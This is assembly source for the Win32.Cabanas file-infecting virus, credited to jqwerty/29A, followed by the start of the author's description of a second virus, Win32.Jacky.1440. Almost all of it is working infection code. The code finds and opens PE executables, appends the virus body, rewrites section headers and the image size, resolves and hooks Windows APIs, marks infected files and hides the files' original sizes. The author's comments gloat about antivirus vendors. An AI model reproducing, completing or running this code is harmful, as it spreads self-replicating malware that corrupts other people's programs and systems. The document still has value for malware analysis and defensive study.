lea eax,[eax + get_base - code_start - 4 - 0e8h + esi] ;
sub eax,edi
stosd
mov cx,(v_end - code_start + 3)/4
add eax,edi
mov edi,[ebp.cPushad.cPushad.Pushad_eax] ;get start of virus code
mov edx,[ebp.cPushad.cPushad.Pushad_edx] ;get embedded base
xchg esi,edi
rep movsd ;copy virus code
sub ecx,[ebp.cPushad.Pushad_eax]
mov [ebp.cPushad.Pushad_edi],edi
add ecx,-5
mov [eax + old_base - get_base],edx ;hardcode some valuez..
mov [eax + delta_host - get_base],ecx
popad
popad

x = IMAGE_SIZEOF_SECTION_HEADER

sub edi,ecx ;change characteristicz of last section in the PE header..


lea ecx,[edx + edi]
xchg edx,eax
inc eax
cdq ;edx=0
xchg ecx,eax
div ecx ;calculate new size of last section
mul ecx
xchg eax,edi
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
sub eax,v_end - virtual_end
cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section
jnc n_vir
mov [ebx.SH_VirtualSize - x],eax
n_vir: dec eax
mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section
add eax,ecx
div ecx
mul ecx
pop ebp ;get original file size
add eax,[ebx.SH_VirtualAddress - x]
cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of
image field in the PE header
jnc n_img
mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax
n_img: add edi,[ebx.SH_PointerToRawData - x]
sub ecx,ecx
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz
push ebp
mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special
checksum to mark infected filez
xor ebp,eax
add al,-2Dh
xor ebp,0B2FD26A3h xor 0D4000000h
not al
xor al,ah
shl ebp,6
xor al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew]
shr al,2
shld eax,ebp,3*8+2
mov [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value
pop eax ;get original file size
mov cl,65h
cmp eax,edi ;calculate new file size..
.if carry?
xchg edi,eax
.endif
sub eax,1 - 65h
div ecx
mul ecx ;use size paddin..
push eax

end_Attach:

popad

needed_ret:

ret

Attach endp

Process_Dir: ;this function receives a pointer to an asciiz string


; containin a path, then it searches filez with an extension
; matchin the list of extensionz, and finaly infects them.
;on entry:
; EDI = pointer to pathname
; EAX = size of pathname

dec eax
cmp eax,7Fh
jnc needed_ret ;if pathname greater than 7Fh characterz, jump
pushad
mov esi,edi
adc edi,eax
cld
mov al,'\' ;add '\' to the pathname if not included
cmp [edi-1],al
jz Find_Filez
stosb

Find_Filez: ;find filez in the specified pathname..

push edi
sub eax,'\' - '*.*'
stosd
call findfirst ;find each file "*.*" in the path
pop edi
jz end_Attach ;if error, jump
dec eax
push eax ;save search handle

Process_File: ;a file was found, process it

push edi
lea esi,[ebx.WFD_szFileName] ;get filename
call Process_File3 ;process file, infect it

Find_Next:

pop edi
pop eax
push eax
push ebx
push eax
call [ebp + ddFindNextFileA - ebp_num] ;find next file
test eax,eax ;more filez?
jnz Process_File ;yea, process it, jump

Find_Close:

call [ebp + ddFindClose - ebp_num] ;close search

end_Find:

end_Process_Dir:

popad
ret

APICall@n_2: mov cl,2 ;call an API and pass two parameterz

APICall@n proc ;this function calls an API and passes "n" parameterz
; as argumentz
;on entry:
; EAX = API function adress
; ECX = number of paremeterz

pushfd
movzx edx,cl
mov ecx,edx
push_args: push dword ptr [esp.(2*Pshd) + 4*edx] ;push parameter
loop push_args
call eax ;call API
popfd
ret
APICall@n endp

IGetProcAddressIT:

pop edx
push eax
lea eax,[ebp + vszKernel32 - ebp_num]
push eax
push edx

GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, i.e. memory-maped)
;on entry:
; TOS+08h (Arg2): API function name
; TOS+04h (Arg1): module name
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found

pushad

lea esi,[ecx.MZ_lfanew]
mov ebp,ecx ;get KERNEL32 module handle
add esi,[esi] ;get address of PE header + MZ_lfanew
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
-MZ_lfanew]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
mov eax,[esi.NT_OptionalHeader \ ;get address of Import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_VirtualAddress \
-MZ_lfanew]
call Rva2Raw ;find size and raw start of import section
jecxz End_GetProcAddressIT
push esi
mov eax,[esp.(Pshd).Pushad_ebp]
mov [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header
for l8r use
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

Get_DLL_Name: ;scan each import descriptor inside import section to match module name
specified

pop esi ;diference (if any) between start of import table


and start of import section
mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imported module name

End_GetProcAddressIT2:

jecxz End_GetProcAddressIT ;end of import descriptorz?


sub ecx,edx ;convert RVA pointer to RAW
cmp ecx,ebp ;check if it points inside section
jae End_GetProcAddressIT
sub esi,-x
push esi ;save next import descriptor for later retrieval
lea esi,[ebx + ecx]
mov edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1

Next_char_from_DLL: ;do a char by char comparison with module name found inside seccion
;stop when a NULL or a dot '.' is found
lodsb
add al,-'.'
jz IT_nup ;its a dot
sub al,-'.'+'a'
cmp al, 'z'-'a'+ 1
jae no_up
add al,-20h ;convert to upercase
no_up: sub al,-'a'
IT_nup: scasb
jnz Get_DLL_Name ;namez dont match, get next import descriptor
cmp byte ptr [edi-1],0
jnz Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name

pop esi
lea eax,[edx + esi.ID_ForwarderChain - x]
add esi,ebx
mov [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for
later use
mov [esp.Pushad_esi],esi ;store pointer to import descriptor for
later use
push dword ptr [esp.cPushad.Arg2]
mov eax,[esp.(Pshd).Pushad_ebp]
push dword ptr [eax + K32Mod - ebp_num]
call GetProcAddressET ;scan export table of specified module handle
xchg eax,ecx ;and get function adress of specified API
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API
function adressez are bound in the IAT
jecxz End_GetProcAddressIT ;if not found then go, this value cant be
zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will be
patched by the loader)
test eax,eax
jnz IAT_found ;if found then jump (save it and go)
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later
will hold the original unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value could be
zero
push eax
call GetProcAddrIAT ;inspect original thunk
test eax,eax
jz IAT_found ;jump if not found
sub eax,ecx ;we got the pointer
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P
org $ - 2

End_GetProcAddressIT:

db 33h,0C0h ;xor eax,eax ;error, adress not found

IAT_found:

mov [esp.Pushad_eax],eax ;save IAT entry pointer


popad
ret (2*Pshd) ;jump and unwind parameterz in stack

findfirst: ;this function is just a wraper to the FindFistFileA API..

lea ebx,[ebp + FindData - ebp_num]


push ebx ;args for findfirst
push esi ;args for findfirst
call [ebp + ddFindFirstFileA - ebp_num] ;call FindFirstFileA API

end_findfirst:

inc eax
cld
ret

get_size: ;this function retrieves the file size and discards


; huge filez, it also sets some parameterz for l8r use
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
;on exit:
; EAX = file size
; ESI = pointer to filename
; Carry clear: file ok
; Carry set: file too large

xor ecx,ecx
test byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jnz get_size_ret ;discard directory entriez
mov edx,ecx
cmp [ebx.WFD_nFileSizeHigh],edx ;discard huge filez, well if any thaat big
(>4GB)
mov cl,65h ;load size padin value
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
mov eax,[ebx.WFD_nFileSizeLow] ;get file size

get_size_ret:

ret

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"


; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
; the selected API name. This function works for both
; bound and unbound import descriptorz. This function is
; called from inside GetProcAddressIT.
;on entry:
; EBX = RAW start pointer of import section
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
; EDX = RVA start pointer of import section
; EDI = pointer selected API function name.
; EBP = RAW size of import section
; TOS+04h (Arg1): real address of API function inside selected
; module (in case the descriptor is unbound).
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found

push ecx
push esi
sub ecx,edx
xor eax,eax
cmp ecx,ebp
jae IT_not_found
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword:

lodsd ;get dword value


test eax,eax ;end of IMAGE_THUNK_DATA array?
jz IT_not_found

no_ordinal:

sub eax,edx ;convert dword to a RAW pointer


cmp eax,ebp ;dword belongs to an unbound image descriptor?
jb IT_search ;no, jump
add eax,edx ;yea, we have the API adress itself, reconvert to RVA
cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match?
jmp IT_found? ;yea, we found it, jump

IT_search:

push esi ;image descriptor contains imports by name


lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor
mov edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter

IT_next_char: ;find requested API from all imported API namez..

cmpsb ;do APIz match?


jnz IT_new_search ;no, continue searchin
IT_Matched_char:

cmp byte ptr [esi-1],0


jnz IT_next_char

IT_new_search:

pop esi ;yea, they match, we found it

IT_found?:

jnz next_thunk_dword
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
sub eax,ebx ;convert it to RVA

IT_not_found:

pop esi
pop ecx
ret (Pshd)

GetProcAddressIT ENDP

check_PE_file: ;this function opens, memory-maps a file and checks


; if its a PE file
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected

call Open&MapFile ;open and memory-map the file


jecxz end_PE_file
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
add eax,-80h
jnc Close_File ;file too short?

Check_PE_sign: ;this function checks validity of a PE file.


;on entry:
; ECX = base address of memory-maped file
; EBX = pointer to WIN32_FIND_DATA structure
; EAX = host file size - 80h
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected

cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature


jnz Close_File
mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format
cmp eax,edi ;ptr out of range?
jb Close_File
add edi,ecx
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature
jnz Close_File
cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine
IMAGE_FILE_MACHINE_I386
jnz Close_File
mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
not al
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but
cant be a DLL
IMAGE_FILE_DLL
jnz Close_File

;at this point, calculate virus checksum to make sure file is really
;infected. If its infected then return original size of host previous
;to infection and store it in the WIN32_FIND_DATA structure (stealth).

mov eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field


push eax
sub al,2Dh ;calculate virus checksum to make sure file is really infected
xor ah,al
mov al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib]
xor ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw]
and al,11111100b
xor ah,al
mov [ebp + uni_or_ansi - ebp_num],ah
inc ah
pop eax
jnz go_esi
xor eax,0B2FD26A3h xor 68000000h
xor eax,[edi.NT_FileHeader.FH_TimeDateStamp]
and eax,03FFFFFFh
cmp eax,[ebx.WFD_nFileSizeLow]
jnc go_esi
mov [ebx.WFD_nFileSizeLow],eax ;return original file size
go_esi: inc esi ;set "already infected" mark

Close_File:

call Close&UnmapFile ;close and unmaps file

end_PE_file:

dec esi
ret

pop_ebp: ;get the ebp_num value needed to access variablez thru EBP
pop ebp
if (ebp_num - m_ebp)
lea ebp,[ebp + ebp_num - m_ebp]
endif
mov [ebp + uni_or_ansi - ebp_num],al
cld

another_ret:

ret

Process_File2: ;this function checks the file size, retrieves some key API
; adressez from inside the import table and infects the file.
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename

call get_size
jnz another_ret ;if file size too short, jump
cmp eax,4000000h - 10*1024
jnc another_ret ;if file size too large (>64MB), jump
div ecx ;check infection thru size paddin
dec edx
js another_ret ;already infected, jump
call check_PE_file ;open file, check PE signature and close file
jnz another_ret ;not valid PE file, jump
inc byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file
jz another_ret ;discard if infected

Bless: ;this function prepares the host file for infection: blank file
; atributez, open and map file in r/w mode, retrieves RVA pointerz
; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
; the "Attach" function to infect the file and finaly restore
; date/time stamp and attributez

push esi
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
push esi
call [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez
xchg ecx,eax
jecxz another_ret ;if error, jump, if disk is write-protected for example
push esi
mov edi,virtual_end - code_start ;calculate buffer size needed for infection
add edi,[ebx.WFD_nFileSizeLow] ;add to original size
call Open&MapFileAdj ;open and map file in read/write mode
jecxz end_Bless2 ;if any error, if file is locked for
example, jump

lea eax,[ebp + vszGetModuleHandleA - ebp_num]


call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in
the import table
test esi,esi
jz end_Bless3 ;if KERNEL32 import descriptor not found,
dont infect

x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to


ForwarderChain field from KERNEL32 import descriptor
mov edx,[esi.ID_ForwarderChain - x]
mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to
GetModuleHandleA API
mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain
field value from KERNEL32 import descriptor
cdq ;edx=0
dec eax ;if RVA pointer to GetModuleHandleA found,
jump and store null for GetModulehandleW RVA pointer (not needed)
jns StoreHandleW
lea eax,[ebp + vszGetModuleHandleW - ebp_num]
call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in
the import table
xchg eax,edx
test edx,edx ;if found, jump and store GetModuleHandleW
RVA pointer
jnz StoreHandleW

cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API
adressez are binded
jz StoreHandleW
cmp edx,[esi.ID_OriginalFirstThunk - x]
jz end_Bless3
mov [esi.ID_TimeDateStamp - x],edx

StoreHandleW:

mov [ebp + ddGetModuleHandleW - ebp_num],edx ;store RVA pointer to


GetModuleHandleW API
lea eax,[ebp + vszGetProcAddress - ebp_num]
call IGetProcAddressIT ;get RVA pointer to
GetModuleHandleA API in the import table
mov [ebp + ddGetProcAddress - ebp_num],eax ;store RVA pointer to
GetModuleHandleW API if found, store zero if not found anywayz

call Attach ;infect file


;at this point:
; ECX = host base adress, start of memory-maped file
; EDI = original file size

end_Bless3:

call Close&UnmapFileAdj ;close, unmap file and restore other setingz if


necesary

end_Bless2:

pop esi ;get pointer to filename


mov ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez
jecxz end_Bless1
push ecx
push esi
call [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez

end_Bless1:

end_Process_File2:

ret

GetProcAddressET proc ;This function is similar to GetProcAddressIT except


; that it looks for API functions in the export table
; of a given DLL module. It has the same functionality
; as the original GetProcAddress API exported from
; KERNEL32 except that it is able to find API
; functions exported by ordinal from KERNEL32.
;on entry:
; TOS+08h (Arg2): pszAPIname (pointer to API name)
; TOS+04h (Arg1): module handle/base address of module
; TOS+00h (return adress)
;on exit:
; ECX = API function address
; ECX = 0, if not found

pushad
@SEH_SetupFrame <jmp Proc_Address_not_found>
mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1
mov ebx,eax
add eax,[eax.MZ_lfanew] ;get address of PE header
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
.OH_DirectoryEntries \
.DE_Export \
.DD_Size]
jecxz Proc_Address_not_found ;size is zero, no API exported
mov ebp,ebx ;get address of Export directory
add ebp,[eax.NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress]
ifdef Ordinal
mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2
test eax,-10000h ;check if Arg2 is an ordinal
jz Its_API_ordinal
endif
Its_API_name:

push ecx
mov edx,ebx ;get address of exported API namez
add edx,[ebp.ED_AddressOfNames]
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API namez
xor eax,eax
cld

Search_for_API_name:

mov esi,ebx ;get address of next exported API name


add esi,[edx+eax*4]
mov edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2

Next_Char_in_API_name:

cmpsb ;find requested API from all exported API namez


jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax

Proc_Address_not_found:

xor eax,eax ;API not found


jmp End_GetProcAddressET

ifdef Ordinal

Its_API_ordinal:

sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. convert it to an


index
jmp Check_Index
endif

Matched_char_in_API_name:

cmp byte ptr [esi-1],0 ;end of API name reached ?


jnz Next_Char_in_API_name
pop ecx
mov edx,ebx ;get address of exported API ordinalz
add edx,[ebp.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2] ;get index into exported API functionz

Check_Index:

cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index


jae Proc_Address_not_found
mov edx,ebx ;get address of exported API functionz
add edx,[ebp.ED_AddressOfFunctions]
add ebx,[edx+eax*4] ;get address of requested API function
mov eax,ebx
sub ebx,ebp ;take care of forwarded API functionz
cmp ebx,ecx
jb Proc_Address_not_found

End_GetProcAddressET:

mov [esp.(2*Pshd).Pushad_ecx],eax ;set requested Proc Address, if found


@SEH_RemoveFrame
popad
jmp Ret2Pshd

GetProcAddressET endp

goto_GetProcAddressET:

jmp GetProcAddressET

MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress


; API. It retrieves the address of an API function
; exported from KERNEL32.
;on entry:
; EBX = KERNEL32 module handle
; ESI = pszAPIname (pointer to API name)
;on exit:
; ECX = API function address
; ECX = 0, if not found

pop eax
push esi
push ebx
push eax

MyGetProcAddress proc ;this function retrieves API adressez from KERNEL32

mov ecx,? ;this dynamic variable will hold an RVA pointer to


the GetProcAddress API in the IAT
ddGetProcAddress = dword ptr $ - 4
jecxz goto_GetProcAddressET
push esi
push ebx
add ecx,[ebp + phost_hdr - ebp_num]
call [ecx] ;call the original GetProcAddress API
xchg ecx,eax
jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function

Ret2Pshd:

ret (2*Pshd)

MyGetProcAddress endp

MyGetModuleHandleW: ;this function retrieves the base address/module handle


; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleW API was found in the import
; table of the host

mov ecx,? ;this dynamic variable will hold an RVA pointer to


the GetModuleHandleW API in the IAT
ddGetModuleHandleW = dword ptr $ - 4
jmp MyGetModuleHandle

MyGetModuleHandleA: ;this function retrieves the base address/module handle


; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleA API was found in the import
; table of the host

mov ecx,? ;this dynamic variable will hold an RVA pointer to


the GetModuleHandleA API in the IAT
ddGetModuleHandleA = dword ptr $ - 4

MyGetModuleHandle proc ;this function retrieves the base adress of KERNEL32


;on entry:
; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT
; TOS+04h (Arg1): pointer to KERNEL32 module name
; TOS+00h (return adress)
;on exit:
; Zero flag set = Base adress not found
; Zero flag clear = Base adress found
; EAX = KERNEL32 base adress

sub eax,eax ;set zero flag


pop ebx ;get return adress
pop eax ;Arg1
push ebx ;push return adress
mov ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress
jecxz end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump
push eax
call [ebx + ecx] ;call GetModuleHandle(A/W) API
chk_0: inc eax
jz end_MyGetModuleHandle ;if any error, not found, jump
dec eax

end_MyGetModuleHandle:

ret

MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress


; via an undocumented method. This function procedure
; doesnt work in Winblowz NT

mov eax,[ebx + 12345678h]


ptrForwarderChain = dword ptr $ - 4
cmp eax,12345678h
ddForwarderChain = dword ptr $ - 4
jnz chk_0
ret

MyGetModuleHandle endp

get_ebp2: mov al,0


jnc get_ebp ;clear carry (unicode version)
dec eax ;clear set (ansi version)

get_ebp: call pop_ebp

m_ebp:

v_end: ;virus code ends here

;uninitialized data ;these variablez will be adressed in memory, but dont waste space in
the file

ImportHdr dd ? ;import table RVA of current host


pCodeTable dd ? ;pointer to encrypted chunkz of code ;these 2
variables may overlap.
org $ - 4 ;one is used
at instalation stage,
pHandlez dd ? ;pointer to top of Handlez table ;the other
one used when resident.
phost_hdr dd ? ;pointer to actual base adress of host
pcode_start dd ? ;pointer to start of virus code/data in memory
K32Mod dd ? ;KERNEL32 base adress
ddGetProcAddress2 dd ? ;adress where GetProcAddress API will be
stored ;these 2 variables may overlap.
org $ - 4
;one is used at instalation stage,
pPathNamez dd ? ;pointer to top of PathNamez
table ;the other one used when resident.
pNewAPIs dd ? ;pointer to new API entry in the jump table
uni_or_ansi db ? ;needed to diferentiate unicode from ansi stringz

FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus

ddCreateFileA dd ?
ddCreateFileW dd ?
ddFindClose dd ?
ddFindFirstFileA dd ?
ddFindFirstFileW dd ?
ddFindNextFileA dd ?
ddFindNextFileW dd ?
ddSetFileAttributesA dd ?
ddSetFileAttributesW dd ?
ddCloseHandle dd ?

ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddGetWindowsDirectoryA dd ?
ddGetSystemDirectoryA dd ?
ddGetCurrentProcess dd ?
ddGetModuleFileName dd ?
ddWriteProcessMemory dd ?
ddWideCharToMultiByte dd ?
ddVirtualAlloc dd ?

v_stringz: ;the API namez used by the virus are decrypted here

vszKernel32 db 'KERNEL32',0
vszGetModuleHandleA db 'GetModuleHandleA',0
vszGetModuleHandleW db 'GetModuleHandleW',0

Exts db 'fxEtcR' ;list of extensionz to infect


db 0

FunctionNamez2: ;resident API namez, needed for dynamically API hookin

vszGetProcAddress db 'GetProcAddress',0
vszGetFileAttributesA db 'GetFileAttributesA',0
vszGetFileAttributesW db 'GetFileAttributesW',0
vszMoveFileExA db 'MoveFileExA',0
vszMoveFileExW db 'MoveFileExW',0
vsz_lopen db '_lopen',0
vszCopyFileA db 'CopyFileA',0
vszCopyFileW db 'CopyFileW',0
vszOpenFile db 'OpenFile',0
vszMoveFileA db 'MoveFileA',0
vszMoveFileW db 'MoveFileW',0
vszCreateProcessA db 'CreateProcessA',0
vszCreateProcessW db 'CreateProcessW',0

FunctionNamez:

vszCreateFileA db 'CreateFileA',0
vszCreateFileW db 'CreateFileW',0
vszFindClose db 'FindClose',0
vszFindFirstFileA db 'FindFirstFileA',0
vszFindFirstFileW db 'FindFirstFileW',0
vszFindNextFileA db 'FindNextFileA',0
vszFindNextFileW db 'FindNextFileW',0
vszSetFileAttributesA db 'SetFileAttributesA',0
vszSetFileAttributesW db 'SetFileAttributesW',0

non_res: ;non-resident API namez

vszCloseHandle db 'CloseHandle',0
vszCreateFileMappingA db 'CreateFileMappingA',0
vszMapViewOfFile db 'MapViewOfFile',0
vszUnmapViewOfFile db 'UnmapViewOfFile',0
vszSetFilePointer db 'SetFilePointer',0
vszSetEndOfFile db 'SetEndOfFile',0
vszSetFileTime db 'SetFileTime',0
vszGetWindowsDirectory db 'GetWindowsDirectoryA',0
vszGetSystemDirectory db 'GetSystemDirectoryA',0
vszGetCurrentProcess db 'GetCurrentProcess',0
vszGetModuleFileName db 'GetModuleFileNameA',0
vszWriteProcessMemory db 'WriteProcessMemory',0
vszWideCharToMultiByte db 'WideCharToMultiByte',0
vszVirtualAlloc db 'VirtualAlloc',0

EndOfFunctionNamez db 0

szCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

org (non_res + 1)
v_end2:

NewAPItable db nAPIS dup (?)

FindData WIN32_FIND_DATA ? ;this structure will hold data retrieved trhu


FindFirst/Next APIz

PathName db MAX_PATH dup (?) ;filenamez will be stored here for infection

virtual_end: ;end of virus virtual memory space (in PE filez)

Handlez db nHANDLEZ dup (?) ;Handlez table

PathNamez db nPATHNAMEZ dup (?) ;PathNamez table

virtual_end2: ;end of virus virtual memory space (in flat memory)

first_generation: ;this routine will be called only once from the first generation sample,
;it initializes some variables needed by the virus in the first run.
jumps
push NULL
call GetModuleHandleA
test eax,eax
jz exit
xchg ecx,eax
call ref
ref: pop ebx

mov eax,ebx
sub eax,ref - host
sub eax,ecx
sub eax,[add_1st_val]
mov [ebx + code_table - ref],eax
mov al,6Ah
ror al,1
xor al,[xor_2nd_val]
mov [ebx + code_table + 6 - ref],al

mov eax,ebx
sub eax,ref - code_table
sub eax,ecx
neg eax
mov [ebx + delta_host - ref],eax

mov [ebx + old_base - ref],ecx

mov eax,[ebx + pfnGMH - ref]


.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetModuleHandleA - ref],eax ;set GetModuleHandleA RVA pointer

mov eax,[ebx + pfnGPA - ref]


.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetProcAddress - ref],eax ;set GetProcAddress RVA pointer

cld ;encrypt API stringz


mov ecx,ve_string_size
lea esi,[ebx + ve_stringz - ref]
mov edi,esi

encrypt_stringz:

lodsb
cmp al,80h
lahf
xor al,0B5h
ror al,cl
stosb
sahf
.if zero?
movsb
.endif
dec ecx
cmp ecx,10
jnz encrypt_stringz

mov ecx,v_end2 - v_stringz


lea edi,[ebx + v_stringz - ref]
mov al,-1
rep stosb

jmp v_start

pfnGMH dd offset GetModuleHandleA


pfnGPA dd offset GetProcAddress

;Host code starts here

extrn MessageBoxA: proc


extrn ExitProcess: proc
host: push MB_OK ;display message box
@pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A"
@pushsz "First generation sample"
push NULL
call MessageBoxA

exit: push 0 ;exit host


call ExitProcess

end first_generation
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Win32.Jacky.1440 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus.
; Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is
; really a "genuine" Win32 virus, which means it should be able to infect
; any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known
; reasonz that i wont delve in detail here, previous Win95 virusez were una-
; ble to spread succesfully under NT. The main reasonz were becoz they asu-
; med KERNEL32 bein loaded at a fixed base adress (not true for NT or even
; future Win95 updatez) and they also made a "guess" about where the Win32
; API functionz were located inside the KERNEL32 itself.
;
; This virus does NOT rely on fixed memory positionz or absolute adressez in
; order to run and spread. It always works at the Win32 API level, not play-
; in its trickz "under the hood". This proves enough for the virus to spread
; succesfully on NT, asumin the user has enough rightz, of course.
;
; Unfortunately, this virus didnt make it as the first Windoze NT virus for
; the media. AVerz said they didnt have an NT machine available for virus
; testin, so they simply didnt test it under NT. Well ehem, thats what they
; said #8S. In the past summer however i finished the codin of Win32.Cabanas
; which is a far superior virus with much more featurez than its predecesor.
; This time, the guyz from Datafellowz and AVP made serious testz with Caba-
; nas under NT until they finally concluded: "Oh miracle! it is able to work
; under NT!". So acordin to the media, Win32.Cabanas is the first WinNT vi-
; rus and not Win32.Jacky as it should have been. Anywayz..
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When Win32.Jacky executes, it first looks for KERNEL32 base adress usin
; the GetModuleHandleA API right from the host import table and then it re-
; trieves all other file API function adressez by usin the GetProcAdress API
; also from the import table. These APIz are not inserted by the virus when
; infection, they are only used if they already existed there (very likely),
; but this is not a "must do" for the virus to work tho. After all Win32 API
; functionz needed by the virus have been located, it looks for PE (EXE) fi-
; lez in the current directory and infects them one by one.
;
; When infection starts, each EXE file is opened and maped in shared memory
; usin the "file mapin" API functionz provided by KERNEL32. This proves to
; be a great advance regardin file functionz as it clearly simplifies to a
; large extent the infection process and file handlin in general. After the
; PE signature is detected from the maped file, the virus inspects its im-
; port table lookin for the GetModuleHandleA and GetProcAddress APIz inside
; the KERNEL32 import descriptor. If this module is not imported, the file
; is left alone and discarded. If the GetProcAddress API is not found, the
; virus (later on when it executes) will call its own internal GetProcAd-
; dressET function, which simply inspects the KERNEL32 export table lookin
; for any specified Win32 API function. If GetModuleHandleA is not found the
; file will still get infected but then the virus, in order to find the KER-
; NEL32 base adress, will be relyin on a smoewhat undocumented feature (che-
; cked before use). This feature is very simple: whenever a PE file with un-
